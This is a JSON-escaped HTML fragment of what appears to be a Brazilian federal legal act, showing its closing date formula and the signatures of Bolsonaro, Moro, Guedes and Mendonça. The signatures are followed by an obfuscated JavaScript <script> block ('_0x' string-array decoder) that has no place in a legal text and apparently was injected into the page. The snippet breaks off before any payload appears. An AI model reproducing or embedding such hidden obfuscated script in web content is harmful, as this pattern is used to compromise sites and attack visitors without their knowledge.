198\u00ba da Independ\u00eancia e 131\u00ba da Rep\u00fablica.<\/p>\n<p>JAIR MESSIAS BOLSONARO<br \/>\n<em>S\u00e9rgio Moro<br \/>\n<\/em><i>Paulo Guedes<br \/>\n<\/i><em>Andr\u00e9 Luiz de Almeida Mendon\u00e7a<\/em><br \/>\n<script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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